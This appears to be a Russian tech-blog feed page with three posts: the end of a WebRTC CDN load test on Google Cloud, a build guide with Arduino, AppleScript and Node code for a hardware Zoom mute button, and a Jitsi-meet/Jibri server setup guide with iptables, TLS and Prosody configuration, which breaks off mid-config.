Балансировщик будет запущен. На этом развертывание CDN с балансировщиком и масштабированием можно считать завершенным. Переходим к тестированию.

Тестирование WebRTC CDN с балансировщиком и масштабированием на базе Google Cloud Platform

Методика тестирования

Для проведения нагрузочного тестирования, при создании группы масштабирования мы выставили порог загрузки процессора для срабатывания триггера на 20%. Тестирование будем проводить с использованием браузера Google Chrome и виртуальной вебкамеры для организации трансляции видеопотока. Что бы сымитировать повышение нагрузки на процессор запустим воспроизведение потока с транскодированием с помощью примера "Media Devices".

В результате тестирования мы должны убедиться, что повышение нагрузки на процессор виртуальной машины приводит к запуску дополнительных ВМ и балансировщик распределяет соединения между ними.

Тестирование

В браузере Google Chrome открываем web интерфейс WCS с ролью CDN Origin Авторизуемся, открываем пример "Two-way Streaming", устанавливаем соединение с сервером по WebSocket и публикуем видеопоток.

Затем, запускаем web интерфейс WCS CDN Edge сервера по IP адресу, который был зарезервирован при создании балансировщика.

Авторизуемся, открываем пример "Media Devices" и устанавливаем соединение с балансировщиком по WebSocket. В правом столбце настроек снимаем чек бокс "default" для параметра "Size" и задаем значения для транскодирования видеопотока. Например, если поток на Origin сервере опубликован с размерами 320х240 задаем значение 640х480. Повторите действия в нескольких вкладках браузера, для имитации большого количества зрителей.

В консоли Google Cloud видим, что были запущены две дополнительные виртуальные машины:

Для того, что бы проверить, что балансировщик распределяет соединения между активными ВМ можно использовать страницу статистики, которая доступна по адресу:

http://<WCS instance IP address>:8081/?action=stat

Откройте страницу статистики для каждой виртуальной машины, запущенной балансировщиком. Значение "connection_websocket" показывает количество активных WebSocket сессий на каждой виртуальной машине.

Как видите на скриншотах наша задача успешно решена. CDN работает, дополнительные Edge сервера запускаются и WebSocket соединения распределяются между ними. В итоге, мы создали CDN в которой при увеличении нагрузки на сервер Edge, автоматически разворачиваются дополнительные виртуальных сервера для распределения нагрузки и сохранения низкой задержки в видеотрансляции.

Хорошего стриминга!

Ссылки

Наш демо сервер

CDN для стриминга WebRTC с низкой задержкой - CDN на базе WCS

Документация по быстрому развертыванию и тестированию WCS сервера

Документация по развертыванию WCS в Google Cloud Platform

Документация по настройке балансировки нагрузки с масштабированием в GCP

Подробнее..

Перевод Делаем аппаратную кнопку выключения звука в Zoom

16.03.2021 10:10:28 | Автор: admin
Недавно Instagram показал мне рекламу специальной кнопки для выключения звука в Zoom, которая оказалась для меня уж очень актуальной.



Да, я каждый день на созвонах в Zoom. Да, у меня есть ребёнок, который часто вмешивается в эти звонки. Алгоритм выдачи рекламы Instagram, ты победил, мне нужна эта кнопка.

Но у меня есть предубеждения. В Instagram рекламируется проект с Kickstarter. К тому же, я не хочу делать свой вклад в доходы от рекламы Facebook, даже нажимая на этот ролик. Выражение Дженни Оделл Бесплатных часов не бывает полностью описывает мою точку зрения на качество продуктов в рекламе Instagram. Кроме того, мой лимит на финансирование проектов с Kickstarter практически исчерпался.

Я поддерживал множество проектов на Kickstarter, и иногда результат этих проектов напоминал мне гамбургер, который Майкл Дуглас получил в фильме С меня хватит!.


Так что давайте соберём такую кнопку сами.

Первое, о чём стоит задуматься: какую кнопку мне будет приятно нажимать?

Я люблю клавиатуры с переключателями Cherry MX. Существует три типа механических переключателей: линейные, тактильные и кликающие. Линейный простейший тип переключателя, перемещающийся вверх-вниз почти без обратной связи. У тактильных переключателей в середине хода есть выступ, позволяющий почувствовать, когда произошло нажатие клавиши. А кликающие переключатели имеют более сильную тактильную обратную связь И производят слышимый клик при нажатии.

В обычной ситуации мы бы купили тестер переключателей, чтобы разобраться, какой тип нам отзывается, а ещё опросили бы своих коллег, какой звук должна издавать клавиатура, чтобы они нас не убили. Но мы посередине пандемии COVID, поэтому коллег рядом нет! Выберем переключатель Cherry MX Blue с удобной тактильной обратной связью, который при этом чрезвычайно громкий. На сайте Cherry MX этот переключатель называют кликающим и заметным, но это ещё очень слабо сказано.


Выглядит красиво, но можно придумать и кое-что получше. Если мне приятно нажимать переключатель Cherry MX Blue, то не будет ли ещё приятнее нажимать комически большой Cherry MX Blue?

И это Novelkeys Big Switch.


Он в 4 раза больше по каждой из размерностей и в 64 раза больше по объёму, чем обычный переключатель. У него даже есть огромный колпачок!


К сожалению Большой Переключатель не продаётся в корпусе, поэтому мне пришлось воспользоваться 3D-печатью. Красивый корпус нашёлся на Thingiverse: NovelKeys Big Switch Case. Всегда стоит поискать ремиксы на случай, если кто-нибудь решил усовершенствовать исходный дизайн. В данном случае нашёлся ремикс, в который добавлен отсек для Pro Micro, а переключатель устанавливается более плотно, поэтому я напечатал его.


Теперь, когда у нас есть корпус, нужна плата, которую мы вставим в него и прикрепим к переключателю.

У Pro Micro есть чип ATmega32U4, позволяющий эмулировать устройство USB HID, например, USB-клавиатуру. К тому же, эта плата имеет маленький размер.


В нижней части Большого Переключателя есть два металлических контакта.


При нажатии клавиши внутри переключателя происходит замыкание цепи между этими двумя контактами.


Взглянем на расположение контактов Pro Micro:


Можно подключить GND к одному металлическому контакту, а Pin 2 ко второму. Pin 2 это контакт цифрового ввода-вывода, который считывает HIGH, когда клавиша нажата, и LOW, когда нет.

Было бы ещё здорово иметь какой-нибудь наглядный индикатор состояния Mute, поэтому можно добавить светодиод.

Я заказал светодиод размером 10 мм:


И резистор на 220 ом:


Длинная нога светодиодов подключается к PWR, а короткая к GND. Мы вставим резистор между длинной ногой и другим контактом, чтобы снизить величину тока. Я выбрал Pin 9 в нижней части платы. Короткую ногу я соединил с GND. Мне показалась полезной эта страница о светодиодах и резисторах.

Между платой и переключателем я припаял такой провод 20 AWG:


В результате получилась вот такая конструкция:


Просто запихнём всё это в наш напечатанный корпус:


Теперь нужно написать код.

Я начал с кода, который Sparkfun написала для создания огромной Кнопки Сохранения, и немного его изменил.

Принцип заключается в следующем: при нажатии клавиши она посылает сочетание горячих клавиш Zoom включения и отключения звука (на Mac это Cmd-Shift-A). Нужно будет изменить настройки Zoom, чтобы это сочетание клавиш распознавалось, даже когда Zoom находится не в фокусе. Поставим флажок Enable Global Shortcut:


Также мы хотим включать или выключать светодиод после каждого нажатия на клавишу. Я решил, что светодиод будет аналогом лампочки В эфире когда синий светодиод горит, звук у меня включен и люди слышат, что я говорю.

Но если просто включать-выключать светодиод при каждом нажатии на клавишу, то как сохранять синхронизацию с состоянием Mute в самом Zoom?

Удобство Pro Micro заключается в том, что она имеет и последовательное подключение. Обычно оно используется для печати отладочной информации в Arduino IDE, но мы можем использовать его для обеспечения синхронизации с состоянием включения звука в Zoom.

Вот код, который мы загружаем в саму Pro Micro:

#include "Keyboard.h"// OS parameterstypedef enum {  LINUX,  WINDOWS,  MAC} os_types;// Change this to your operating systemconst os_types OS = MAC;// Pinsconst int btn_pin = 2;const int led_pin = 9;// Constantsconst int debounce_delay = 50;              // ms// Globalsint btn_state = HIGH;int btn_prev = HIGH;unsigned long last_debounce_time = 0;int os_ctrl;int led_state = LOW;void setup() {  Serial.begin(57600); // opens serial port, sets data rate to 57600 bps    // Set up LED and button pins  pinMode(btn_pin, INPUT_PULLUP);  // Set the button as an input  pinMode(led_pin, OUTPUT);  digitalWrite(led_pin, led_state);  // Begin keyboard  Keyboard.begin();  // Switch to correct control/command key  switch(OS){    case LINUX:    case WINDOWS:      os_ctrl = KEY_LEFT_CTRL;      break;    case MAC:      os_ctrl = KEY_LEFT_GUI;      break;    default:      os_ctrl = KEY_LEFT_CTRL;      break;  }  // Get initial timestamp  Serial.println("started");  }void loop() {  // Read current state of the button  int btn_read = digitalRead(btn_pin);  // Remember when the button changed states  if ( btn_read != btn_prev ) {    last_debounce_time = millis();  }  // Wait before checking the state of the button again  if ( millis() > (last_debounce_time + debounce_delay) ) {    if ( btn_read != btn_state ) {      btn_state = btn_read;      if ( btn_state == LOW ) {        // Send cmd+shift+a        Keyboard.press(KEY_LEFT_SHIFT);        Keyboard.press(os_ctrl);        Keyboard.press('a');        delay(100);        Keyboard.releaseAll();        Serial.println("pressed");        if (led_state == LOW) {          led_state = HIGH;        } else {          led_state = LOW;        }        digitalWrite(led_pin, led_state);      }    }  }  // Remember the previous button position for next loop()  btn_prev = btn_read;  if (Serial.available() > 0) {    String incomingString = Serial.readStringUntil('\n');    if (incomingString == "muted") {      led_state = LOW;    } else if (incomingString == "unmuted") {      led_state = HIGH;          }    digitalWrite(led_pin, led_state);      }  }

Дальше мы можем добавить Applescript, сообщающий о текущем состоянии Zoom. Я нашёл Zoom-плагин для устройства Streamdeck, содержавший исходный Applescript, и изменил его так, чтобы он сообщал о том, открыт ли Zoom, и каково состояние его звука. Также я модифицировал скрипт, чтобы он выводил JSON.

set zoomStatus to "closed"set muteStatus to "disabled"tell application "System Events"if exists (window 1 of process "zoom.us") thenset zoomStatus to "open"tell application process "zoom.us"if exists (menu bar item "Meeting" of menu bar 1) thenset zoomStatus to "call"if exists (menu item "Mute audio" of menu 1 of menu bar item "Meeting" of menu bar 1) thenset muteStatus to "unmuted"elseset muteStatus to "muted"end ifend ifend tellend ifend tellcopy "{\"mute\":\"" & (muteStatus as text) & "\",\"status\":\"" & (zoomStatus as text) & "\"}" to stdout

Если теперь мы запустим его во время звонка в Zoom, то он будет выводить примерно такое:

$ osascript get-zoom-status.scpt{"mute":"muted","status":"call"}

Затем я написал небольшое приложение на Node, используемое в качестве посредника между Pro Micro и этим скриптом:

const { exec } = require('child_process');const SerialPort = require('serialport');const Readline = require('@serialport/parser-readline');const port = new SerialPort('/dev/tty.usbmodemHIDPC1', {    baudRate: 57600});var checkStatus = function() {    console.log('Checking status...');    exec('osascript get-zoom-status.scpt', (error, stdout, stderr) => {        if (error) {            console.error(`exec error: ${error}`);            return;        }        var status = JSON.parse(stdout);        if (status.mute == 'unmuted') {            port.write('unmuted');        } else {            port.write('muted');        }    });}const parser = port.pipe(new Readline({ delimiter: '\r\n' }))parser.on('data', function (data) {    if (data == "pressed") {        console.log('Button pressed.');        checkStatus();    }})checkStatus();setInterval(checkStatus, 30000);

Этот скрипт выполняет две задачи. При нажатии кнопки он отправляет плате Pro Micro через последовательный порт команду нажато, при этом запускается Applescript для определения текущего состояния звука в Zoom. Затем он отправляет плате Pro Micro команду звук выключен или звук включен, благодаря чему светодиод переключается в соответствующее состояние. Также я создал таймер, запускающий скрипт через каждые 30 секунд на случай, если я случайно отключу или включу звук через интерфейс Zoom, а не через кнопку, в противном случае состояние будет обновляться только при нажатии кнопки.

Вот как выглядит кнопка при использовании в звонке через Zoom:


Пожалуйста, поддержите мой Kickstarter шучу, у меня нет никакого Kickstarter, но, надеюсь, теперь вы сможете создать такую кнопку сами.



На правах рекламы


Закажите сервер и сразу начинайте работать! Создание VDS любой конфигурации в течение минуты. Эпичненько :)

Подробнее..

Свой сервер видеоконференций Jitsi. Часть 1

03.02.2021 00:17:16 | Автор: admin
Это первая статья, в которой я расскажу, как поднять свой собственный сервер видеоконференций Jitsi-meet. Я планирую выпустить три статьи на эту тему:
  1. Свой сервер видеоконференций Jitsi.
    Jitsi и все необходимые службы работают на одном сервере + сервис Jibri (для записи видеоконференций на отдельном сервере).
  2. Свой высоконагруженный сервис видеоконференций Jitsi.
    Jitsi и все необходимые зависимые службы работают на разных серверах для получения высокой производительности.
  3. Свой мессенджер Matrix-synapse в связке с Jitsi-meet.
    Настройка Matrix на своем сервере и объединение с Jitsi для видеозвонков.

В данной статье я расскажу, как поднять собственный сервер видеоконференций jitsi-meet. Для нормального функционирования мне пришлось собирать информацию по крупицам, общаться с разработчиками данной утилиты, перечитать всю документацию и облазить кучу форумов. Тут я собрал все в один мануал на русском.


В моем случае схема была немного другой, потому что у меня сервер Jitsi и Jibri находятся за NAT, в качестве которого стоит сервер с debian 9 и на котором есть внешний и внутренний IP. Сервисы Jitsi и Jibri также можно разместить на одном сервере, но тогда на него будет большая нагрузка и, следовательно, серверу надо дать больше ресурсов. Ниже я дам мануал, который составил, собирая свою службу (на три сервера), но каждый может преобразовать его под себя в зависимости от верований и убеждений, ну и возможностей конечно.
Итак, подготовительный этап прост и известен каждому, кто умеет в linux. А если не знаком, то в этих ваших интернетах полно инструкций по развёртыванию linux-системы. Мы же поднимем с вами три debian 9 сервера (можно использовать другой дистрибутив, просто адаптировав мануал).
Рекомендуемые системные требования:
Для сервера с Jitsi-meet:
4 ядра с 2.0ГГц и 4 RAM
Для сервера с Jibri:
4 ядра с 2.0ГГц и 4 RAM
Для сервера с Jitsi и Jibri:
8 ядер с 2.0ГГц и 8 RAM
Ну, и, естественно, интернет с большой пропускной способностью.
Производительность с разными вариациями характеристик сервера можно посмотреть тут.

Еще одно немаловажное требование большинство команд надо делать от привилегированного пользователя, поэтому на сервере (на каждом сервере) сразу получим root-права.
# sudo -i

или
# su - root

Сразу хочу отметить тот факт, что сервер под Jibri должен быть без GUI (графического интерфейса) иначе Jibri, который имеет свой xorg, будет конфликтовать и откажется работать (долгие танцы с бубном помогут уладить их конфликт, но зачем все усложнять!?).
NAT-сервер
Если мы будем использовать NAT-сервер, тогда нам нужно настроить на нем безопасность и перенаправление, а для этого мы обратимся к iptables (хотя тут опять-таки дело вкуса). Создаем скрипт, которым настроим iptables:
# touch iptables_rules.sh

Дальше открываем файл, вставляем и корректируем под свои значения:
iptables_rules.sh
#! /bin/bashIPT="iptables"## Внешний интерфейсWAN=ens224WAN_IP=ВАШ_внешний_IP## Внутренний интерфейсLAN1=ens192LAN1_IP=ВАШ_внутренний_IPLAN1_IP_RANGE=192.168.0.0/24LAN2=IP_Jitsi## Очищаем все цепочки перед применением новых правил$IPT -F$IPT -F -t nat$IPT -F -t mangle$IPT -X$IPT -t nat -X$IPT -t mangle -X## Блокируем весь трафик, который не соответствует ни одному из правил$IPT -P INPUT DROP$IPT -P OUTPUT DROP$IPT -P FORWARD DROP## Разрешаем весь трафик в локалхост и локальной сети$IPT -A INPUT -i lo -j ACCEPT$IPT -A INPUT -i $LAN1 -j ACCEPT$IPT -A OUTPUT -o lo -j ACCEPT$IPT -A OUTPUT -o $LAN1 -j ACCEPT## Этот блок разрешает icmp-запросы (пинговать сервер) (опционально)$IPT -A INPUT -p icmp --icmp-type echo-reply -j ACCEPT$IPT -A INPUT -p icmp --icmp-type destination-unreachable -j ACCEPT$IPT -A INPUT -p icmp --icmp-type time-exceeded -j ACCEPT$IPT -A INPUT -p icmp --icmp-type echo-request -j ACCEPT## Открываем доступ в интернет самому серверу$IPT -A OUTPUT -o $WAN -j ACCEPT#$IPT -A INPUT -i $WAN -j ACCEPT## Разрешаем все установленные соединения и дочерние от них$IPT -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT$IPT -A OUTPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT$IPT -A FORWARD -p all -m state --state ESTABLISHED,RELATED -j ACCEPT## Защита от наиболее распространенных сетевых атак. (опционально)## Отбрасываем все пакеты без статуса (опционально)$IPT -A INPUT -m state --state INVALID -j DROP$IPT -A FORWARD -m state --state INVALID -j DROP## Блокируем нулевые пакеты (опционально)$IPT -A INPUT -p tcp --tcp-flags ALL NONE -j DROP## Закрываемся от syn-flood атак (опционально)$IPT -A INPUT -p tcp ! --syn -m state --state NEW -j DROP$IPT -A OUTPUT -p tcp ! --syn -m state --state NEW -j DROP## Запрет доступа с определенных IP (опционально)#$IPT -A INPUT -s ipaddres -j REJECT## Разрешаем доступ в интернет из локальной сети$IPT -A FORWARD -i $LAN1 -o $WAN -j ACCEPT## Запрещаем доступ из интернета в локальную сеть (опционально)#$IPT -A FORWARD -i $WAN -o $LAN1 -j REJECT## Чтобы в локальной сети был интернет включаем nat$IPT -t nat -A POSTROUTING -o $WAN -s $LAN1_IP_RANGE -j MASQUERADE##Должен быть включен ip forwarding## Разрешаем ssh (порт 22 - это порт по умолчанию для ssh соединения, если вы его меняли, то обязательно значение 22 надо заменить своим, иначе будет потерян доступ к серверу)$IPT -A INPUT -i $WAN -p tcp --dport 22 -j ACCEPT## Перенаправление трафика на сервер JITSI$IPT -A FORWARD -i $WAN -d $LAN2 -p tcp -m tcp --dport 80 -j ACCEPT$IPT -A FORWARD -i $WAN -d $LAN2 -p tcp -m tcp --dport 443 -j ACCEPT$IPT -A FORWARD -i $WAN -d $LAN2 -p udp -m udp --dport 10000 -j ACCEPT$IPT -t nat -A PREROUTING -i $WAN -p tcp --dport 80 -j DNAT --to $LAN2$IPT -t nat -A PREROUTING -i $WAN -p tcp --dport 443 -j DNAT --to $LAN2$IPT -t nat -A PREROUTING -i $WAN -p udp --dport 10000 -j DNAT --to $LAN2$IPT -t nat -A POSTROUTING -j MASQUERADE

Сохраняем и закрываем файл.

После этого надо сделать файл исполняемым и запустить:
# chmod +x iptables_rules.sh# ./iptables_rules.sh

Правила мы установили, однако после перезагрузки сервера они пропадут. Для того, чтобы применить их перманентно, выполним следующее:
# iptables-save > /etc/iptables-conf/iptables_rules.ipv4

Откроем файл и вставим в конец файла правило для восстановления настроек:
# vim /etc/network/interfaces

post-up /sbin/iptables-restore < /etc/iptables-conf/iptables_rules.ipv4

Ну, и, естественно, надо разрешить пересылку пакетов, открываем файл:
# vim /etc/sysctl.conf

Находим строку и раскомментируем (если стоит 0, то меняем на 1)
net.ipv4.ip_forward = 1

Применяем правила:
# sysctl -p


Настраиваем сервер Jitsi
Первый сервер готов, и мы переходим ко второму серверу Jitsi.
Тут опять надо разрешить пересылку пакетов открываем файл:
# vim /etc/sysctl.conf

Находим строку и раскомментируем (если стоит 0, то меняем на 1)
net.ipv4.ip_forward = 1

Применяем правила:
# sysctl -p

Установим необходимые утилиты:
# apt-get update# apt-get install ufw iftop htop wget net-tools vim y


Далее настроим ufw (нам нет нужды прописывать похожие правила как на предыдущем сервере, а достаточно просто открыть некоторые порты):
# ufw allow 22# ufw allow 80/tcp# ufw allow 443/tcp# ufw allow 10000/udp# ufw enable

Будет запрошено подтверждение, вводим y (порт 22 это порт по умолчанию для ssh соединения, если вы его меняли, то обязательно значение 22 надо заменить своим, иначе будет потерян доступ к серверу).

Далее необходимо настроить имя хоста:
# hostnamectl set-hostname jitsi.mydnsname.com

Стоит отметить, что для полноценного использования Jitsi-meet необходимо доменное имя и белый IP, к которому привязано имя.
Переходим к установке.
# echo 'deb https://download.jitsi.org stable/' >> /etc/apt/sources.list.d/jitsi-stable.list# wget -qO -  https://download.jitsi.org/jitsi-key.gpg.key | apt-key add -

# apt-get install -y apt-transport-https# apt-get update

Если у вас еще не установлен веб-сервер, то самое время это сделать. Выберите сами apache2 или nginx, и go:
# apt-get -y install nginx (apache2)# apt-get -y install jitsi-meet

В процессе установки будет запрошен IP сервера или его dns имя. Если сервер должен работать с мобильными приложениями, то должно быть dns имя и ssl сертификат. Далее утилита спросит про сертификат ( первый вариант применим для автоматического подписания сертификата, при условии что IP адрес белый и есть dns-имя, второй если уже есть сертификат, но тогда надо будет еще указать пути, где лежат сертификаты). Важное замечание: для подключения андроид устройств нужно добавить третий сертификат и прописать к нему путь в apache/nginx.
По завершению установки мы перейдем к настройке.
Как уже и говорил, надо добавить еще один ssl-сертификат для устройств android. Для этого мы в конфигурацию добавим путь к этому сертификату (скажу сразу, что у вас пути могут отличаться, если вы делали это другим способом). Открываем файл конфигурации (apache2 или nginx):
Apache2:
# vim /etc/apache2/saites-avalieble/example.org.conf

Добавляем строку (внимательно смотрим пути и подставляем свои значения):
SSLCertificateChainFile /etc/ssl/example.org/SectigoRSADomainValidationSecureServerCA.crt

Должно получиться так:
SSLProtocol TLSv1 TLSv1.1 TLSv1.2SSLEngine onSSLProxyEngine onSSLCertificateFile /etc/ssl/jitsi.dnsname.com/jitsi.dnsname.com.crtSSLCertificateChainFile /etc/ssl/jitsi.dnsname.com/SectigoRSADomainValidationSecureServerCA.crtSSLCertificateKeyFile /etc/ssl/jitsi.dnsname.com/jitsi.dnsname.com.keySSLCipherSuite "EECDH+ECDSA+AESGCM:EECDH+aRSA+AESGCM:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA256:EECDH+ECDSA+SHA384:EECDH+ECDSA+SHA256:EECDH+aRSA+SHA384:EDH+aRSA+AESGCM:EDH+aRSA+SHA256:EDH+aRSA:EECDH:!aNULL:!eNULL:!MEDIUM:!LOW:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!RC4:!SEED"SSLHonorCipherOrder onHeader set Strict-Transport-Security "max-age=31536000"

Сохраняем и закрываем файл.

Nginx:
# vim  /etc/nginx/sites-available/jitsi.dnsname.com.conf

# Mozilla Guideline v5.4, nginx 1.17.7, OpenSSL 1.1.1d, intermediate configuration    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # TLSv1.3;    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;    ssl_prefer_server_ciphers off;    ssl_session_timeout 1d;    ssl_session_cache shared:SSL:10m;  # about 40000 sessions    ssl_session_tickets off;    add_header Strict-Transport-Security "max-age=63072000" always;    ssl_certificate /etc/ssl/jitsi.dnsname.com/fullchain.pem;     ssl_certificate_key /etc/ssl/jitsi.dnsname.com/privkey.pem;     root /usr/share/jitsi-meet;


Сохраняем и закрываем файл.
Для nginx мы не указываем отдельный сертификат, а объединяем два сертификата в один:
# cat /etc/ssl/jitsi.dnsname.com/jitsi.dnsname.com.crt /etc/ssl/jitsi.dnsname.com/SectigoRSADomainValidationSecureServerCA.crt >> /etc/ssl/jitsi.dnsname.com/fullchain.pem


Проверить цепочку сертификатов можно тут.

Далее настраиваем систему. Добавляем туда следующее (отметим, что в локальный адрес прописываем адрес сервера Jitsi, а в публичный белый IP, у нас это IP адрес первого сервера):
# vim /etc/jitsi/videobridge/sip-communicator.properties

org.ice4j.ice.harvest.NAT_HARVESTER_LOCAL_ADDRESS=<Local.IP.Address>org.ice4j.ice.harvest.NAT_HARVESTER_PUBLIC_ADDRESS=<Public.IP.Address>

Комментируем следующую строку:
org.ice4j.ice.harvest.STUN_MAPPING_HARVESTER_ADDRESSES


Далее для поддержания конференции на большое количество людей (более 100) добавляем следующие строки в файл:
# vim /etc/systemd/system.conf

system.conf
DefaultLimitNOFILE=65000DefaultLimitNPROC=65000DefaultTasksMax=65000


Сохраняем и закрываем файл.

Далее:
# apt-get -y install jigasi# systemctl daemon-reload# systemctl restart jitsi# cat /proc/`cat /var/run/jitsi-videobridge/jitsi-videobridge.pid`/limits


Настраиваем сервер Jibri
Теперь нам осталось только поднять сервер с Jibri. Это опционально и нужно только для того, чтобы иметь возможность транслировать конференцию или вести запись конференции.
Jibri можно поставить рядом с Jitsi на одном сервере, но тогда на сервер будет идти бОльшая нагрузка. Мы сделаем это на отдельном сервере, но практически те же самые шаги надо предпринять, чтобы поднять Jibri рядом с Jitsi.
И так, приступим.
Тут опять надо разрешить пересылку пакетов, открываем файл:
# vim /etc/sysctl.conf

Находим строку и раскомментируем (если стоит 0, то меняем на 1)
net.ipv4.ip_forward = 1

Применяем правила:
# sysctl -p

На следующем шаге нам необходимо убедиться, что модуль обратной связи доступен и работает:
# echo "snd-aloop" >> /etc/modules# modprobe snd-aloop# lsmod | grep snd_aloop

Далее установим стабильную версию Google Chrome:
# curl -sS -o - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add# echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" > /etc/apt/sources.list.d/google-chrome.list# apt-get -y update# apt-get -y install google-chrome-stable

Создадим директорию и пропишем политики:
# mkdir -p /etc/opt/chrome/policies/managed# echo '{ "CommandLineFlagSecurityWarningsEnabled": false }' >> /etc/opt/chrome/policies/managed/managed_policies.json

Скачаем и установим chromedriver:
# CHROME_DRIVER_VERSION=`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`# wget -N http://chromedriver.storage.googleapis.com/$CHROME_DRIVER_VERSION/chromedriver_linux64.zip -P ~/# unzip ~/chromedriver_linux64.zip -d ~/# rm ~/chromedriver_linux64.zip# mv -f ~/chromedriver /usr/local/bin/chromedriver# chown root:root /usr/local/bin/chromedriver# chmod 0755 /usr/local/bin/chromedriver

Установим зависимости и необходимые пакеты:
# apt-get install ffmpeg curl alsa-utils icewm xdotool xserver-xorg-input-void xserver-xorg-video-dummy

Теперь устанавливаем Jibri:
Если установка на сервер Jitsi
# apt-get install -y jibri


Установка на отдельный сервер
# wget -qO - https://download.jitsi.org/jitsi-key.gpg.key | sudo apt-key add -# sh -c "echo 'deb https://download.jitsi.org stable/' > /etc/apt/sources.list.d/jitsi-stable.list"# apt-get update# apt-get install -y jibri


Далее необходимо добавить Jibri в группы пользователей:
# usermod -aG adm,audio,video,plugdev jibri

Для работы Jibri необходима Java 8:
# wget -O - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | sudo apt-key add -# add-apt-repository https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/# apt-get update# apt-get install -y adoptopenjdk-8-hotspot

Нужно настроить Java 8 по умолчанию для Jibri. Для этого открываем файл и заменяем слово java на полный путь:
# vim /opt/jitsi/jibri/launch.sh

/usr/lib/jvm/adoptopenjdk-8-hotspot-amd64/bin/java

Для хранения видео нам надо отвести на сервере специальную директорию. Для этого мы создадим отдельную директорию (по желанию можно создать другую директорию, ее надо будет указать в конфигурации):
# mkdir /srv/recordings

Дадим Jibri права на нее и сделаем владельцем:
# chown jibri:jibri /srv/recordings

Далее мы настроим Jitsi-сервер для того, чтобы он знал о существовании Jibri и дадим все необходимые настройки и разрешения. Если сервис Jibri на отдельном сервере, тогда переходим на сервер Jitsi.
Начнем с конфигурации Prosody. Открываем файл и вставляем в конец файла с подстановкой своих значений:
# vim /etc/prosody/conf.avail/jitsi.dnsname.com.cfg.lua

jitsi.dnsname.com.cfg.lua
-- internal muc component, meant to enable pools of jibri and jigasi clientsComponent "internal.auth.jitsi.dnsname.com" "muc"    modules_enabled = {        "ping";    }    storage = "memory"    muc_room_cache_size = 1000    VirtualHost "recorder.jitsi.dnsname.com"    modules_enabled = {        "ping";    }    authentication = "internal_plain"


Теперь создадим учетные записи для пользователей jibri и recorder (пароли, которые мы тут установим, понадобятся нам далее):
# prosodyctl register jibri auth.jitsi.dnsname.com PAsswDJibRI# prosodyctl register recorder recorder.jitsi.dnsname.com PaSSwdReCORD

Следующим нашим действием станет прописывание конфигурации Jicofo. Откроем и добавим в файл следующие строки:
# vim /etc/jitsi/jicofo/sip-communicator.properties

jicofo/sim-communicator-properties
org.jitsi.jicofo.jibri.BREWERY=JibriBrewery@internal.auth.jitsi.dnsname.comorg.jitsi.jicofo.jibri.PENDING_TIMEOUT=90


Далее настроим Jitsi-meet. Добавим/раскомментируем строки в файле:
# vim /etc/jitsi/meet/jitsi.dnsname.com-config.js

config.js
fileRecordingsEnabled: true, liveStreamingEnabled: true, hiddenDomain: 'recorder.jitsi.dnsname.com',


Хочу обратить внимание, что следующий шаг необходимо выполнить только в том случае, когда сервис Jibri находится на отдельном сервере.
Ранее мы уже установили на сервере Jitsi ufw и открыли порты 22, 80, 443. Сейчас нам надо открыть еще порт 5222, для этого:
# ufw allow 5222/tcp

Теперь вернемся на сервер Jibri и добавим в файл jibri.conf следующую конфигурацию (не забываем подставлять свои значения, тут же нам надо указать и пароли для jibri и recorder):
# vim /etc/jitsi/jibri/jibri.conf

jibri.conf
jibri {  // A unique identifier for this Jibri  // TODO: eventually this will be required with no default  id = ""  // Whether or not Jibri should return to idle state after handling  // (successfully or unsuccessfully) a request.  A value of 'true'  // here means that a Jibri will NOT return back to the IDLE state  // and will need to be restarted in order to be used again.  single-use-mode = false  api {    http {      external-api-port = 2222      internal-api-port = 3333    }    xmpp {      // See example_xmpp_envs.conf for an example of what is expected here      environments = [      {                name = "prod environment"                xmpp-server-hosts = ["jitsi.dnsname.com"]                xmpp-domain = "jitsi.dnsname.com"                control-muc {                    domain = "internal.auth.jitsi.dnsname.com"                    room-name = "JibriBrewery"                    nickname = "jibri-nickname"                }                control-login {                    domain = "auth.jitsi.dnsname.com"                    username = "jibri"                    password = "PAsswDJibRI"                }                call-login {                    domain = "recorder.jitsi.dnsname.com"                    username = "recorder"                    password = "PaSSwdReCORD"                }                strip-from-room-domain = "conference."                usage-timeout = 0                trust-all-xmpp-certs = true            }]    }  }  recording {    recordings-directory = "/srv/recordings"    # TODO: make this an optional param and remove the default    finalize-script = "/path/to/finalize_recording.sh"  }  streaming {    // A list of regex patterns for allowed RTMP URLs.  The RTMP URL used    // when starting a stream must match at least one of the patterns in    // this list.    rtmp-allow-list = [      // By default, all services are allowed      ".*"    ]  }  chrome {    // The flags which will be passed to chromium when launching    flags = [      "--use-fake-ui-for-media-stream",      "--start-maximized",      "--kiosk",      "--enabled",      "--disable-infobars",      "--autoplay-policy=no-user-gesture-required"    ]  }  stats {    enable-stats-d = true  }  webhook {    // A list of subscribers interested in receiving webhook events    subscribers = []  }  jwt-info {    // The path to a .pem file which will be used to sign JWT tokens used in webhook    // requests.  If not set, no JWT will be added to webhook requests.    # signing-key-path = "/path/to/key.pem"    // The kid to use as part of the JWT    # kid = "key-id"    // The issuer of the JWT    # issuer = "issuer"    // The audience of the JWT    # audience = "audience"    // The TTL of each generated JWT.  Can't be less than 10 minutes.    # ttl = 1 hour  }  call-status-checks {    // If all clients have their audio and video muted and if Jibri does not    // detect any data stream (audio or video) comming in, it will stop    // recording after NO_MEDIA_TIMEOUT expires.    no-media-timeout = 30 seconds    // If all clients have their audio and video muted, Jibri consideres this    // as an empty call and stops the recording after ALL_MUTED_TIMEOUT expires.    all-muted-timeout = 10 minutes    // When detecting if a call is empty, Jibri takes into consideration for how    // long the call has been empty already. If it has been empty for more than    // 